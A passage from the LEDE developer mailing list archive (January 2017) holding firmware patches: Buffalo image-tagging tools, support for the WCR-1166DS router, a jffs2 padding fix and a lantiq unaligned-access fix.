 		goto free_buf;
 	}
 
+	if (size) {
+		tail_src = hdrlen + size;
+		memmove(&buf[tail_dst], &buf[tail_src], tail_len);
+		memset(&buf[tail_src], 0, tail_dst - tail_src);
+		src_len = size;
+	}
+
 	memset(&ep, '\0', sizeof(ep));
 	ep.key = (unsigned char *) crypt_key;
 	ep.seed = seed;
@@ -241,7 +256,7 @@ int main(int argc, char *argv[])
 	while ( 1 ) {
 		int c;
 
-		c = getopt(argc, argv, "adi:m:o:hlp:v:k:O:r:s:");
+		c = getopt(argc, argv, "adi:m:o:hlp:v:k:O:r:s:S:");
 		if (c == -1)
 			break;
 
@@ -276,6 +291,9 @@ int main(int argc, char *argv[])
 		case 'O':
 			offset = strtoul(optarg, NULL, 0);
 			break;
+		case 'S':
+			size = strtoul(optarg, NULL, 0);
+			break;
 		case 'h':
 			usage(EXIT_SUCCESS);
 			break;
diff --git a/tools/firmware-utils/src/buffalo-lib.h b/tools/firmware-utils/src/buffalo-lib.h
index ba8a508..7eb9bf5 100644
--- a/tools/firmware-utils/src/buffalo-lib.h
+++ b/tools/firmware-utils/src/buffalo-lib.h
@@ -69,6 +69,26 @@ struct buffalo_tag2 {
 	uint8_t		unknown2[3];
 } __attribute ((packed));
 
+struct buffalo_tag3 {
+	unsigned char	product[TAG_PRODUCT_LEN];
+	unsigned char	brand[TAG_BRAND_LEN];
+	unsigned char	ver_major[TAG_VERSION_LEN];
+	unsigned char	ver_minor[TAG_VERSION_LEN];
+	unsigned char	region_code[2];
+	uint32_t	region_mask;
+	unsigned char	unknown0[2];
+	unsigned char	language[TAG_LANGUAGE_LEN];
+	unsigned char	platform[TAG_PLATFORM_LEN];
+	unsigned char	hwv[TAG_HWVER_LEN];
+	unsigned char	hwv_val[TAG_HWVER_VAL_LEN];
+	uint8_t		unknown1[24];
+
+	uint32_t	total_len;
+	uint32_t	crc;
+	uint32_t	len1;
+	uint32_t	base2;
+} __attribute ((packed));
+
 #define ENC_PRODUCT_LEN		32
 #define ENC_VERSION_LEN		8
 #define ENC_MAGIC_LEN		6
diff --git a/tools/firmware-utils/src/buffalo-tag.c b/tools/firmware-utils/src/buffalo-tag.c
index b5db72e..6d479f7 100644
--- a/tools/firmware-utils/src/buffalo-tag.c
+++ b/tools/firmware-utils/src/buffalo-tag.c
@@ -48,6 +48,7 @@ static uint32_t base2;
 static char *region_code;
 static uint32_t region_mask;
 static int num_regions;
+static int dhp;
 
 void usage(int status)
 {
@@ -63,6 +64,7 @@ void usage(int status)
 "  -d <base2>\n"
 "  -f <flag>       set flag to <flag>\n"
 "  -i <file>       read input from the file <file>\n"
+"  -I <file>       read input from the file <file> for DHP series\n"
 "  -l <language>   set language to <language>\n"
 "  -m <version>    set minor version to <version>\n"
 "  -o <file>       write output to the file <file>\n"
@@ -227,6 +229,37 @@ static void fixup_tag2(unsigned char *buf, ssize_t buflen)
 		tag->crc = htonl(buffalo_crc(buf, buflen));
 }
 
+static void fixup_tag3(unsigned char *buf, ssize_t totlen)
+{
+	struct buffalo_tag3 *tag = (struct buffalo_tag3 *) buf;
+
+	memset(tag, '\0', sizeof(*tag));
+
+	memcpy(tag->brand, brand, strlen(brand));
+	memcpy(tag->product, product, strlen(product));
+	memcpy(tag->platform, platform, strlen(platform));
+	memcpy(tag->ver_major, major, strlen(major));
+	memcpy(tag->ver_minor, minor, strlen(minor));
+	memcpy(tag->language, language, strlen(language));
+
+	if (num_regions > 1) {
+		tag->region_code[0] = 'M';
+		tag->region_code[1] = '_';
+		tag->region_mask = htonl(region_mask);
+	} else {
+		memcpy(tag->region_code, region_code, 2);
+	}
+
+	tag->total_len = htonl(totlen);
+	tag->len1 = htonl(fsize[0]);
+	tag->base2 = htonl(base2);
+
+	if (hwver) {
+		memcpy(tag->hwv, "hwv", 3);
+		memcpy(tag->hwv_val, hwver, strlen(hwver));
+	}
+}
+
 static int tag_file(void)
 {
 	unsigned char *buf;
@@ -237,7 +270,9 @@ static int tag_file(void)
 	int ret = -1;
 	int i;
 
-	if (num_files == 1)
+	if (dhp)
+		hdrlen = sizeof(struct buffalo_tag3);
+	else if (num_files == 1)
 		hdrlen = sizeof(struct buffalo_tag);
 	else
 		hdrlen = sizeof(struct buffalo_tag2);
@@ -270,7 +305,9 @@ static int tag_file(void)
 		offset += fsize[i];
 	}
 
-	if (num_files == 1)
+	if (dhp)
+		fixup_tag3(buf, fsize[0] + 200);
+	else if (num_files == 1)
 		fixup_tag(buf, buflen);
 	else
 		fixup_tag2(buf, buflen);
@@ -299,7 +336,7 @@ int main(int argc, char *argv[])
 	while ( 1 ) {
 		int c;
 
-		c = getopt(argc, argv, "a:b:c:d:f:hi:l:m:o:p:r:sv:w:");
+		c = getopt(argc, argv, "a:b:c:d:f:hi:l:m:o:p:r:sv:w:I:");
 		if (c == -1)
 			break;
 
@@ -319,6 +356,9 @@ int main(int argc, char *argv[])
 		case 'f':
 			flag = strtoul(optarg, NULL, 2);
 			break;
+		case 'I':
+			dhp = 1;
+			/* FALLTHROUGH */
 		case 'i':
 			err = process_ifname(optarg);
 			if (err)
diff --git a/tools/firmware-utils/src/mkdhpimg.c b/tools/firmware-utils/src/mkdhpimg.c
new file mode 100644
index 0000000..e61d042
--- /dev/null
+++ b/tools/firmware-utils/src/mkdhpimg.c
@@ -0,0 +1,85 @@
+/*
+ * Copyright (c) 2016 FUKAUMI Naoki <naobsd at gmail.com>
+ *
+ * This program is free software; you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License version 2 as published
+ * by the Free Software Foundation.
+ *
+ */
+
+#include <sys/stat.h>
+#include <err.h>
+#include <fcntl.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+
+#include "buffalo-lib.h"
+
+#define DHP_HEADER_SIZE	20
+
+static char *progname;
+
+static void
+usage(void)
+{
+
+	fprintf(stderr, "usage: %s <in> <out>\n", progname);
+	exit(EXIT_FAILURE);
+}
+
+int
+main(int argc, char *argv[])
+{
+	struct stat in_st;
+	size_t size;
+	uint32_t crc;
+	int in, out;
+	uint8_t *buf;
+
+	progname = argv[0];
+
+	if (argc != 3)
+		usage();
+
+	if ((in = open(argv[1], O_RDONLY)) == -1)
+		err(EXIT_FAILURE, "%s", argv[1]);
+
+	if (fstat(in, &in_st) == -1)
+		err(EXIT_FAILURE, "%s", argv[1]);
+
+	size = DHP_HEADER_SIZE + in_st.st_size;
+
+	if ((buf = malloc(size)) == NULL)
+		err(EXIT_FAILURE, "malloc");
+
+	memset(buf, 0, DHP_HEADER_SIZE);
+	buf[0x0] = 0x62;
+	buf[0x1] = 0x67;
+	buf[0x2] = 0x6e;
+	buf[0xb] = 0xb1;
+	buf[0xc] = (size >> 24) & 0xff;
+	buf[0xd] = (size >> 16) & 0xff;
+	buf[0xe] = (size >> 8) & 0xff;
+	buf[0xf] = size & 0xff;
+
+	read(in, &buf[DHP_HEADER_SIZE], in_st.st_size);
+	close(in);
+
+	crc = buffalo_crc(buf, size);
+	buf[0x10] = (crc >> 24) & 0xff;
+	buf[0x11] = (crc >> 16) & 0xff;
+	buf[0x12] = (crc >> 8) & 0xff;
+	buf[0x13] = crc & 0xff;
+
+	if ((out = open(argv[2], O_WRONLY | O_CREAT | O_TRUNC, 0644)) == -1)
+		err(EXIT_FAILURE, "%s", argv[2]);
+	write(out, buf, size);
+	close(out);
+
+	free(buf);
+
+	return EXIT_SUCCESS;
+}
diff --git a/tools/firmware-utils/src/trx.c b/tools/firmware-utils/src/trx.c
index aa1f5be..dc5bb67 100644
--- a/tools/firmware-utils/src/trx.c
+++ b/tools/firmware-utils/src/trx.c
@@ -100,7 +100,7 @@ int main(int argc, char **argv)
 	int c, i, append = 0;
 	size_t n;
 	ssize_t n2;
-	uint32_t cur_len, fsmark=0;
+	uint32_t cur_len, fsmark=0, magic;
 	unsigned long maxlen = TRX_MAX_LEN;
 	struct trx_header *p;
 	char trx_version = 1;
@@ -121,7 +121,7 @@ int main(int argc, char **argv)
 	in = NULL;
 	i = 0;
 
-	while ((c = getopt(argc, argv, "-:2o:m:a:x:b:f:A:F:")) != -1) {
+	while ((c = getopt(argc, argv, "-:2o:m:a:x:b:f:A:F:M:")) != -1) {
 		switch (c) {
 			case '2':
 				/* take care that nothing was written to buf so far */
@@ -243,6 +243,15 @@ int main(int argc, char **argv)
 				}
 
 				break;
+			case 'M':
+				errno = 0;
+				magic = strtoul(optarg, &e, 0);
+				if (errno || (e == optarg) || *e) {
+					fprintf(stderr, "illegal numeric string\n");
+					usage();
+				}
+				p->magic = STORE32_LE(magic);
+				break;
 			default:
 				usage();
 		}
-- 
2.7.4



From naobsd at gmail.com  Sat Jan 28 08:05:55 2017
From: naobsd at gmail.com (FUKAUMI Naoki)
Date: Sun, 29 Jan 2017 01:05:55 +0900
Subject: [LEDE-DEV] [PATCH v4 2/3] bcm53xx: build factory images for
 WZR-900DHP series
In-Reply-To: <20170128160556.23071-1-naobsd@gmail.com>
References: <20170128160556.23071-1-naobsd@gmail.com>
Message-ID: <20170128160556.23071-2-naobsd@gmail.com>

only factory images for DHP-EU and DHP2-JP (fw ver. 2.x) are built.

this will not work for DHP-JP/AP/TW (fw ver. 1.x) because they use
different buffalo_csum() formula.

Signed-off-by: FUKAUMI Naoki <naobsd at gmail.com>
---
Changes in v4:
- no change

Changes in v3:
- renumbered, no change

Changes in v2:
- refresh everything to make rules simple

 target/linux/bcm53xx/image/Makefile | 26 ++++++++++++++++++++++++++
 1 file changed, 26 insertions(+)

diff --git a/target/linux/bcm53xx/image/Makefile b/target/linux/bcm53xx/image/Makefile
index e7a628b..75d1644 100644
--- a/target/linux/bcm53xx/image/Makefile
+++ b/target/linux/bcm53xx/image/Makefile
@@ -38,6 +38,17 @@ define Build/bcm53xx-tplink-safeloader
 	rm $@.trx
 endef
 
+define Build/buffalo-wzr-header
+	$(eval product=$(word 1,$(1)))
+	$(eval region=$(word 2,$(1)))
+	( \
+		echo $(product)_$(BUFFALO_TAG_VERSION)_$(BUFFALO_TAG_MINOR)_$(region)_$(BUFFALO_TAG_PLATFORM); \
+		echo filelen=$$(stat -c%s $@); \
+		cat $@ \
+	) > $@.new
+	mv $@.new $@
+endef
+
 define Build/trx-serial
 	$(STAGING_DIR_HOST)/bin/trx \
 		-o $@.new \
@@ -85,6 +96,7 @@ define Build/seama-nand
 endef
 
 DEVICE_VARS += PRODUCTID SIGNATURE NETGEAR_BOARD_ID NETGEAR_REGION TPLINK_BOARD
+DEVICE_VARS += BUFFALO_TAG_PLATFORM BUFFALO_TAG_VERSION BUFFALO_TAG_MINOR
 
 BRCMFMAC_43602A1 := kmod-brcmfmac brcmfmac-firmware-43602a1-pcie
 BRCMFMAC_4366B1 := kmod-brcmfmac brcmfmac-firmware-4366b1-pcie
@@ -149,6 +161,20 @@ endef
 TARGET_DEVICES += buffalo-wzr-600dhp2
 
 define Device/buffalo-wzr-900dhp
+  BUFFALO_TAG_PLATFORM := bcm
+  BUFFALO_TAG_VERSION := 9.99
+  BUFFALO_TAG_MINOR := 9.99
+  IMAGES += factory-DHP-EU.bin factory-DHP2-JP.bin
+  IMAGE/factory-DHP-EU.bin := \
+	append-ubi | trx-nand | buffalo-wzr-header WZR-900DHP EU | \
+	buffalo-enc WZR-900DHP $$(BUFFALO_TAG_VERSION) | \
+	buffalo-tag-dhp WZR-900DHP EU mlang20 | buffalo-enc-tag | \
+	buffalo-dhp-image
+  IMAGE/factory-DHP2-JP.bin := \
+	append-ubi | trx-nand | buffalo-wzr-header WZR-900DHP2 JP | \
+	buffalo-enc WZR-900DHP2 $$(BUFFALO_TAG_VERSION) | \
+	buffalo-tag-dhp WZR-900DHP2 JP jp | buffalo-enc-tag | \
+	buffalo-dhp-image
   DEVICE_TITLE := Buffalo WZR-900DHP
   DEVICE_PACKAGES := kmod-b43 $(USB3_PACKAGES)
 endef
-- 
2.7.4



From naobsd at gmail.com  Sat Jan 28 08:05:56 2017
From: naobsd at gmail.com (FUKAUMI Naoki)
Date: Sun, 29 Jan 2017 01:05:56 +0900
Subject: [LEDE-DEV] [PATCH v4 3/3] ramips: add support for Buffalo WCR-1166DS
In-Reply-To: <20170128160556.23071-1-naobsd@gmail.com>
References: <20170128160556.23071-1-naobsd@gmail.com>
Message-ID: <20170128160556.23071-3-naobsd@gmail.com>

Buffalo WCR-1166DS is a small wireless router with

 - MT7628AN + MT7612E
 - 64MiB DDR2 SDRAM
 - 16MiB SPI flash
 - 2T2R 11ac/a/b/g/n Wi-Fi
 - 2x 10/100M ethernet switch
 - 8x programmable LED
 - 3x button
 - UART pad on PCB (J2: 3.3V, GND, TX, RX)

factory image can be installed via stock web UI.

due to the "dual image" function in the bootloader, the second half of
the SPI flash ("firmware2" partition) cannot be used as a part of the
file system.

Signed-off-by: FUKAUMI Naoki <naobsd at gmail.com>
---
Changes in v4:
- rebase and resolve conflict

Changes in v3:
- added

 .../linux/ramips/base-files/etc/board.d/02_network |  15 +-
 target/linux/ramips/base-files/etc/diag.sh         |  11 +-
 target/linux/ramips/base-files/lib/ramips.sh       |   3 +
 .../ramips/base-files/lib/upgrade/platform.sh      |   9 +-
 target/linux/ramips/dts/WCR-1166DS.dts             | 172 +++++++++++++++++++++
 target/linux/ramips/image/Makefile                 |   3 +-
 target/linux/ramips/image/mt7628.mk                |  16 ++
 target/linux/ramips/mt7628/config-4.4              |   1 +
 ...r-custom-trx-magic-for-Buffalo-WCR-1166DS.patch |  30 ++++
 9 files changed, 245 insertions(+), 15 deletions(-)
 create mode 100644 target/linux/ramips/dts/WCR-1166DS.dts
 create mode 100644 target/linux/ramips/patches-4.4/0400-mtd-mtdsplit-add-support-for-custom-trx-magic-for-Buffalo-WCR-1166DS.patch

diff --git a/target/linux/ramips/base-files/etc/board.d/02_network b/target/linux/ramips/base-files/etc/board.d/02_network
index b27954f..282624f 100755
--- a/target/linux/ramips/base-files/etc/board.d/02_network
+++ b/target/linux/ramips/base-files/etc/board.d/02_network
@@ -264,6 +264,10 @@ ramips_setup_interfaces()
 		ucidef_add_switch "switch0" \
 			"1:lan" "2:lan" "3:lan" "4:lan" "0:wan" "5 at eth0"
 		;;
+	wcr-1166ds)
+		ucidef_add_switch "switch0" \
+			"3:lan" "4:wan" "6 at eth0"
+		;;
 	wcr-150gn)
 		ucidef_add_switch "switch0" \
 			"0:lan" "6t at eth0"
@@ -411,6 +415,12 @@ ramips_setup_macs()
 		lan_mac=$(cat /sys/class/net/eth0/address)
 		wan_mac=$(macaddr_add "$lan_mac" 5)
 		;;
+	wcr-1166ds|\
+	wsr-1166)
+		local index="$(find_mtd_index "board_data")"
+		wan_mac="$(grep -m1 mac= "/dev/mtd${index}" | cut -d= -f2)"
+		lan_mac=$wan_mac
+		;;
 	wcr-150gn)
 		wan_mac=$(mtd_get_mac_binary factory 40)
 		;;
@@ -428,11 +438,6 @@ ramips_setup_macs()
 	wlr-6000)
 		wan_mac=$(macaddr_add "$(mtd_get_mac_binary factory 32772)" 2)
 		;;
-	wsr-1166)
-		local index="$(find_mtd_index "board_data")"
-		wan_mac="$(grep -m1 mac= "/dev/mtd${index}" | cut -d= -f2)"
-		lan_mac=$wan_mac
-		;;
 	*)
 		lan_mac=$(cat /sys/class/net/eth0/address)
 		wan_mac=$(macaddr_add "$lan_mac" 1)
diff --git a/target/linux/ramips/base-files/etc/diag.sh b/target/linux/ramips/base-files/etc/diag.sh
index 84031d1..f6bae00 100644
--- a/target/linux/ramips/base-files/etc/diag.sh
+++ b/target/linux/ramips/base-files/etc/diag.sh
@@ -220,6 +220,12 @@ get_status_led() {
 	zbt-wr8305rt)
 		status_led="$board:green:sys"
 		;;
+	wcr-1166ds|\
+	whr-300hp2|\
+	wsr-1166|\
+	wsr-600)
+		status_led="$board:green:power"
+		;;
 	wcr-150gn|\
 	wl-351)
 		status_led="$board:amber:power"
@@ -234,11 +240,6 @@ get_status_led() {
 	wizfi630a)
 		status_led="$board::run"
 		;;
-	whr-300hp2|\
-	wsr-1166|\
-	wsr-600)
-		status_led="$board:green:power"
-		;;
 	wrtnode2r | \
 	wrtnode2p | \
 	wrtnode)
diff --git a/target/linux/ramips/base-files/lib/ramips.sh b/target/linux/ramips/base-files/lib/ramips.sh
index 5ab46de..71b31f6 100755
--- a/target/linux/ramips/base-files/lib/ramips.sh
+++ b/target/linux/ramips/base-files/lib/ramips.sh
@@ -502,6 +502,9 @@ ramips_board_detect() {
 	*"W502U")
 		name="w502u"
 		;;
+	*"WCR-1166DS")
+		name="wcr-1166ds"
+		;;
 	*"WCR-150GN")
 		name="wcr-150gn"
 		;;
diff --git a/target/linux/ramips/base-files/lib/upgrade/platform.sh b/target/linux/ramips/base-files/lib/upgrade/platform.sh
index 05d2759..a43d370 100755
--- a/target/linux/ramips/base-files/lib/upgrade/platform.sh
+++ b/target/linux/ramips/base-files/lib/upgrade/platform.sh
@@ -227,6 +227,11 @@ platform_check_image() {
 		}
 		return 0
 		;;
+	ubnt-erx)
+		nand_do_platform_check "$board" "$1"
+		return $?;
+		;;
+	wcr-1166ds|\
 	wsr-1166)
 		[ "$magic" != "48445230" ] && {
 			echo "Invalid image type."
@@ -234,10 +239,6 @@ platform_check_image() {
 		}
 		return 0
 		;;
-	ubnt-erx)
-		nand_do_platform_check "$board" "$1"
-		return $?;
-		;;
 	esac
 
 	echo "Sysupgrade is not yet supported on $board."
diff --git a/target/linux/ramips/dts/WCR-1166DS.dts b/target/linux/ramips/dts/WCR-1166DS.dts
new file mode 100644
index 0000000..ad3f21b
--- /dev/null
+++ b/target/linux/ramips/dts/WCR-1166DS.dts
@@ -0,0 +1,172 @@
+/dts-v1/;
+
+#include "mt7628an.dtsi"
+
+#include <dt-bindings/gpio/gpio.h>
+#include <dt-bindings/input/input.h>
+
+/ {
+	compatible = "buffalo,wcr-1166ds", "mediatek,mt7628an-soc";
+	model = "Buffalo WCR-1166DS";
+
+	gpio-keys-polled {
+		compatible = "gpio-keys-polled";
+		#address-cells = <1>;
+		#size-cells = <0>;
+		poll-interval = <20>;
+
+		aoss {
+			label = "aoss";
+			gpios = <&gpio0 0 GPIO_ACTIVE_LOW>;
+			linux,code = <KEY_WPS_BUTTON>;
+		};
+
+		ap {
+			label = "ap";
+			gpios = <&gpio0 11 GPIO_ACTIVE_LOW>;
+			linux,code = <BTN_0>;
+			linux,input-type = <EV_SW>;
+		};
+
+		reset {
+			label = "reset";
+			gpios = <&gpio1 14 GPIO_ACTIVE_LOW>;
+			linux,code = <KEY_RESTART>;
+		};
+	};
+
+	gpio-leds {
+		compatible = "gpio-leds";
+
+		router_o {
+			label = "wcr-1166ds:orange:router";
+			gpios = <&gpio1 5 GPIO_ACTIVE_LOW>;
+		};
+
+		router_g {
+			label = "wcr-1166ds:green:router";
+			gpios = <&gpio1 6 GPIO_ACTIVE_LOW>;
+		};
+
+		internet_o {
+			label = "wcr-1166ds:orange:internet";
+			gpios = <&gpio1 7 GPIO_ACTIVE_LOW>;
+		};
+
+		internet_g {
+			label = "wcr-1166ds:green:internet";
+			gpios = <&gpio1 8 GPIO_ACTIVE_LOW>;
+		};
+
+		wireless_o {
+			label = "wcr-1166ds:orange:wireless";
+			gpios = <&gpio1 9 GPIO_ACTIVE_LOW>;
+		};
+
+		wireless_g {
+			label = "wcr-1166ds:green:wireless";
+			gpios = <&gpio1 10 GPIO_ACTIVE_LOW>;
+		};
+
+		diag {
+			label = "wcr-1166ds:orange:diag";
+			gpios = <&gpio1 11 GPIO_ACTIVE_LOW>;
+		};
+
+		power {
+			label = "wcr-1166ds:green:power";
+			gpios = <&gpio1 12 GPIO_ACTIVE_LOW>;
+		};
+	};
+};
+
+&ehci {
+	status = "disabled";
+};
+
+&esw {
+	mediatek,portmap = <0x2f>;
+	mediatek,portdisable = <0x27>;
+};
+
+&ohci {
+	status = "disabled";
+};
+
+&pcie {
+	status = "okay";
+	pcie-bridge {
+		mt76 at 0,0 {
+			reg = <0x0000 0 0 0 0>;
+			device_type = "pci";
+			mediatek,mtd-eeprom = <&factory 0x8000>;
+			mediatek,2ghz = <0>;
+		};
+	};
+};
+
+&pinctrl {
+	state_default: pinctrl0 {
+		gpio {
+			ralink,group = "uart1", "wled_an", "p0led_an", "p1led_an", "p2led_an", "p3led_an", "p4led_an", "wdt", "refclk", "gpio", "i2s";
+			ralink,function = "gpio";
+		};
+	};
+};
+
+&spi0 {
+	status = "okay";
+
+	m25p80 at 0 {
+		#address-cells = <1>;
+		#size-cells = <1>;
+		compatible = "jedec,spi-nor";
+		reg = <0>;
+		spi-max-frequency = <10000000>;
+		m25p,chunked-io = <32>;
+
+		partition at 0 {
+			label = "u-boot";
+			reg = <0x0 0x30000>;
+			read-only;
+		};
+
+		partition at 30000 {
+			label = "u-boot-env";
+			reg = <0x30000 0x10000>;
+			read-only;
+		};
+
+		factory: partition at 40000 {
+			label = "factory";
+			reg = <0x40000 0x10000>;
+			read-only;
+		};
+
+		partition at 50000 {
+			label = "firmware";
+			reg = <0x50000 0x7c0000>;
+		};
+
+		partition at 810000 {
+			label = "firmware2";
+			reg = <0x810000 0x7c0000>;
+		};
+
+		partition at fd0000 {
+			label = "glbcfg";
+			reg = <0xfd0000 0x10000>;
+			read-only;
+		};
+
+		partition at fe0000 {
+			label = "board_data";
+			reg = <0xfe0000 0x10000>;
+			read-only;
+		};
+	};
+};
+
+&wmac {
+	status = "okay";
+};
diff --git a/target/linux/ramips/image/Makefile b/target/linux/ramips/image/Makefile
index 2952c5f..f34eba7 100644
--- a/target/linux/ramips/image/Makefile
+++ b/target/linux/ramips/image/Makefile
@@ -23,6 +23,7 @@ define Image/Build/Initramfs
 endef
 
 DEVICE_VARS += DTS IMAGE_SIZE NETGEAR_BOARD_ID NETGEAR_HW_ID
+DEVICE_VARS += BUFFALO_TAG_PLATFORM BUFFALO_TAG_VERSION BUFFALO_TAG_MINOR
 
 loadaddr-y := 0x80000000
 loadaddr-$(CONFIG_TARGET_ramips_rt288x) := 0x88000000
@@ -48,7 +49,7 @@ define Build/patch-dtb
 endef
 
 define Build/trx
-	$(STAGING_DIR_HOST)/bin/trx \
+	$(STAGING_DIR_HOST)/bin/trx $(1) \
 		-o $@ \
 		-m $(IMAGE_SIZE) \
 		-f $(IMAGE_KERNEL) \
diff --git a/target/linux/ramips/image/mt7628.mk b/target/linux/ramips/image/mt7628.mk
index 4502588..0304921 100644
--- a/target/linux/ramips/image/mt7628.mk
+++ b/target/linux/ramips/image/mt7628.mk
@@ -55,3 +55,19 @@ define Device/mac1200r-v2
   DEVICE_TITLE := Mercury MAC1200R v2.0
 endef
 TARGET_DEVICES += mac1200r-v2
+
+define Device/wcr-1166ds
+  DTS := WCR-1166DS
+  BUFFALO_TAG_PLATFORM := MTK
+  BUFFALO_TAG_VERSION := 9.99
+  BUFFALO_TAG_MINOR := 9.99
+  IMAGES += factory.bin
+  IMAGE/sysupgrade.bin := trx | pad-rootfs | append-metadata
+  IMAGE/factory.bin := \
+	trx -M 0x746f435c | pad-rootfs | append-metadata | \
+	buffalo-enc WCR-1166DS $$(BUFFALO_TAG_VERSION) -l | \
+	buffalo-tag-dhp WCR-1166DS JP JP | buffalo-enc-tag -l | \
+	buffalo-dhp-image
+  DEVICE_TITLE := Buffalo WCR-1166DS
+endef
+TARGET_DEVICES += wcr-1166ds
diff --git a/target/linux/ramips/mt7628/config-4.4 b/target/linux/ramips/mt7628/config-4.4
index 6b04457..6cd7838 100644
--- a/target/linux/ramips/mt7628/config-4.4
+++ b/target/linux/ramips/mt7628/config-4.4
@@ -138,6 +138,7 @@ CONFIG_MTD_NAND_MT7620=y
 CONFIG_MTD_PHYSMAP=y
 CONFIG_MTD_SPI_NOR=y
 CONFIG_MTD_SPLIT_FIRMWARE=y
+CONFIG_MTD_SPLIT_TRX_FW=y
 CONFIG_MTD_SPLIT_UIMAGE_FW=y
 CONFIG_NEED_DMA_MAP_STATE=y
 CONFIG_NEED_PER_CPU_KM=y
diff --git a/target/linux/ramips/patches-4.4/0400-mtd-mtdsplit-add-support-for-custom-trx-magic-for-Buffalo-WCR-1166DS.patch b/target/linux/ramips/patches-4.4/0400-mtd-mtdsplit-add-support-for-custom-trx-magic-for-Buffalo-WCR-1166DS.patch
new file mode 100644
index 0000000..1af72f9
--- /dev/null
+++ b/target/linux/ramips/patches-4.4/0400-mtd-mtdsplit-add-support-for-custom-trx-magic-for-Buffalo-WCR-1166DS.patch
@@ -0,0 +1,30 @@
+--- a/drivers/mtd/mtdsplit/mtdsplit_trx.c
++++ b/drivers/mtd/mtdsplit/mtdsplit_trx.c
+@@ -13,6 +13,7 @@
+ #include <linux/module.h>
+ #include <linux/init.h>
+ #include <linux/kernel.h>
++#include <linux/of.h>
+ #include <linux/slab.h>
+ #include <linux/mtd/mtd.h>
+ #include <linux/mtd/partitions.h>
+@@ -20,7 +21,8 @@
+ 
+ #include "mtdsplit.h"
+ 
+-#define TRX_MAGIC   0x30524448  /* "HDR0" */
++#define TRX_MAGIC		0x30524448  /* "HDR0" */
++#define TRX_MAGIC_BUFFALO	0x746f435c
+ 
+ struct trx_header {
+ 	__le32 magic;
+@@ -82,7 +84,8 @@ mtdsplit_parse_trx(struct mtd_info *mast
+ 		if (ret)
+ 			continue;
+ 
+-		if (hdr.magic != cpu_to_le32(TRX_MAGIC)) {
++		if (hdr.magic != cpu_to_le32(TRX_MAGIC) &&
++		    !(of_machine_is_compatible("buffalo,wcr-1166ds") && hdr.magic == cpu_to_le32(TRX_MAGIC_BUFFALO))) {
+ 			pr_debug("no valid trx header found in \"%s\" at offset %llx\n",
+ 				 master->name, (unsigned long long) offset);
+ 			continue;
-- 
2.7.4



From naobsd at gmail.com  Sat Jan 28 08:08:47 2017
From: naobsd at gmail.com (Naoki FUKAUMI)
Date: Sun, 29 Jan 2017 01:08:47 +0900
Subject: [LEDE-DEV] [PATCH] ar71xx: prepare jffs2 partition properly in
 factory.bin for BHR-4GRV2
In-Reply-To: <20161209085315.18636-1-naobsd@gmail.com>
References: <20161209085315.18636-1-naobsd@gmail.com>
Message-ID: <CAFnsNoSD1beuzJVYvQagmzQQ-SuSnQNqRWTOvUZNUUsHBXhkMw@mail.gmail.com>

can someone handle this for 17.01?

On Fri, Dec 9, 2016 at 5:53 PM, FUKAUMI Naoki <naobsd at gmail.com> wrote:
> "pad-rootfs" is required just after "append-rootfs".
>
> Signed-off-by: FUKAUMI Naoki <naobsd at gmail.com>
> ---
>  target/linux/ar71xx/image/generic.mk | 2 +-
>  1 file changed, 1 insertion(+), 1 deletion(-)
>
> diff --git a/target/linux/ar71xx/image/generic.mk b/target/linux/ar71xx/image/generic.mk
> index 6ceabeb..b1d9af9 100644
> --- a/target/linux/ar71xx/image/generic.mk
> +++ b/target/linux/ar71xx/image/generic.mk
> @@ -704,6 +704,6 @@ define Device/bhr-4grv2
>    MTDPARTS := spi0.0:256k(u-boot)ro,64k(u-boot-env)ro,14528k(rootfs),1472k(kernel),64k(art)ro,16000k at 0x50000(firmware)
>    IMAGES := sysupgrade.bin factory.bin
>    IMAGE/sysupgrade.bin = append-rootfs | pad-rootfs | pad-to $$$$(ROOTFS_SIZE) | append-kernel | check-size $$$$(IMAGE_SIZE)
> -  IMAGE/factory.bin = append-kernel | pad-to $$$$(KERNEL_SIZE) | append-rootfs | mkbuffaloimg
> +  IMAGE/factory.bin = append-kernel | pad-to $$$$(KERNEL_SIZE) | append-rootfs | pad-rootfs | mkbuffaloimg
>  endef
>  TARGET_DEVICES += bhr-4grv2
> --
> 2.7.4
>


From lynxis at fe80.eu  Sat Jan 28 08:23:16 2017
From: lynxis at fe80.eu (Alexander Couzens)
Date: Sat, 28 Jan 2017 17:23:16 +0100
Subject: [LEDE-DEV] [PATCH] lantiq: fix unaligned access in xrx200_poll_rx()
Message-ID: <20170128162316.30149-1-lynxis@fe80.eu>

Signed-off-by: Alexander Couzens <lynxis at fe80.eu>
---
 .../lantiq/patches-4.4/0025-NET-MIPS-lantiq-adds-xrx200-net.patch     | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/target/linux/lantiq/patches-4.4/0025-NET-MIPS-lantiq-adds-xrx200-net.patch b/target/linux/lantiq/patches-4.4/0025-NET-MIPS-lantiq-adds-xrx200-net.patch
index 4e60f30302..acaadba984 100644
--- a/target/linux/lantiq/patches-4.4/0025-NET-MIPS-lantiq-adds-xrx200-net.patch
+++ b/target/linux/lantiq/patches-4.4/0025-NET-MIPS-lantiq-adds-xrx200-net.patch
@@ -1190,8 +1190,8 @@ Subject: [PATCH 25/36] NET: MIPS: lantiq: adds xrx200-net
 +		if ((desc->ctl & (LTQ_DMA_OWN | LTQ_DMA_C)) == LTQ_DMA_C) {
 +#ifdef SW_ROUTING
 +			struct sk_buff *skb = ch->skb[ch->dma.desc];
-+			u32 *special_tag = (u32*)skb->data;
-+			int port = (special_tag[1] >> SPPID_SHIFT) & SPPID_MASK;
++			u8 *special_tag = (u8*)skb->data;
++			int port = (special_tag[7] >> SPPID_SHIFT) & SPPID_MASK;
 +			xrx200_hw_receive(ch, priv->hw->port_map[port]);
 +#else
 +			xrx200_hw_receive(ch, 0);
-- 
2.11.0



From nbd at nbd.name  Sat Jan 28 11:01:40 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Sat, 28 Jan 2017 20:01:40 +0100
Subject: [LEDE-DEV] netifd: "bridge: disable IGMP snooping by default"
In-Reply-To: <20170126203833.GB3881@otheros>
References: <20170120103755.GK3498@otheros>
 <80df2701-e919-1654-eae2-c3035ee66f78@nbd.name>
 <20170126203833.GB3881@otheros>
Message-ID: <0c34d631-39fd-4884-9f4b-d325e68e72ef@nbd.name>

On 2017-01-26 21:38, Linus L?ssing wrote:
